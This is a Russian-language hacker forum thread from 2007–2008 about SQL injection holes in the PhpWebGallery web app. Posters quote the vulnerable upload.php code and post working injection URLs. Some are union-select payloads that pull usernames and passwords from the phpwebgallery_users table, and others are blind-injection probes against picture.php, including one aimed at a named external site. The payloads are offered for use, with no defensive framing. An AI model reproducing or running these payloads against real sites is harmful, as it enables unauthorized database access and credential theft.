PDA

Просмотр полной версии : PhpWebGallery


Macro
28.12.2007, 23:10
PhpWebGallery blind sql injection

upload.php

if ( isset( $_POST['submit'] ) and isset( $_GET['waiting_id'] ) )
{
// upload of the thumbnail
$query = 'select file';
$query.= ' from '.WAITING_TABLE;
$query.= ' where id = '.$_GET['waiting_id'];
$query.= ';';
$result= pwg_query( $query );


Выложил ибо там по ходу через админку шелл не залить. Сплоит по той же причине не писал

Scipio
23.01.2008, 13:59
а кстати какая версия? я там тоже пару скулей видел, 1.3.4 и скорее всего ранние (покрайней мере в 1.3.2 точно есть)
типа такого:picture.php?cat=27&image_id=1+union+select+1,2,4,5,5,6,7,8,9,10,11,12 ,13,14/*&expand=27
при реально существующей картинке вывода нет, а если не существующий image_id, то скрипт отказывается отвечать, т.е. вполне реально провести blind-inj

Macro
23.01.2008, 15:20
Macro покажи на примере. Я несколько месяцев назад копал, видел это место, не получилось никак. Реакции на параметр вообще не было )
Проблема в том что надо submit послать постом а мне для этого сплоит лень писать. Только что скачал и поставил себе последнюю версию - 1.7.0.
Заменил в коде upload.php в указанном мной месте POST на REQUEST чтобы через GET проканало.
Вот результат.

http://test2.ru/phpwebgallery-1.7.0/upload.php?submit&waiting_id=1'

select file from phpwebgallery_waiting where id = 1\';
[mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


А вообще, инъекция работает и при magic_quotes on


blackybr: молодец.. у меня не работало =)

Евгений Минаев
23.01.2008, 15:32
Я с пол-,год назад находил этот баг , на милворм не приняли тк нужен эксплоит а писать было лень.

Вот этот код меня обломал сначала , но вскоре я догадался


$file = substr ( $row['file'], 0, strrpos ( $row['file'], ".") );
$extension = get_extension( $_FILES['picture']['name'] );

if (($path = mkget_thumbnail_dir($page['cat_dir'], $error)) != false)
{
$path.= '/'.$conf['prefix_thumbnail'].$file.'.'.$extension;
$result = validate_upload( $path, $conf['upload_maxfilesize'],


upload.php?cat=&waiting_id=-1+union+select+concat_ws(char(46,120,101,107),user name,password)+from+phpwebgallery_users/*
upload.php?cat=&waiting_id=-1+union+select+concat_ws(char(46,120,101,107),pass word,username)+from+phpwebgallery_users/*

Mo4x
14.09.2008, 22:55
-PhpWebGallery 1.3.4 sql injection

-Уязвимость находится в параметре "cat" сценарием picture .

site.co.il/phpwebgallery/picture.php?cat=[Real id]&image_id= [Real id]+and+substring(@@version,1,1)=5
site.co.il/phpwebgallery/picture.php?cat=3&image_id=76+and+substring(@@version,1,1)=5
(c)-Насчет копирайтов ей богу непомню где взял .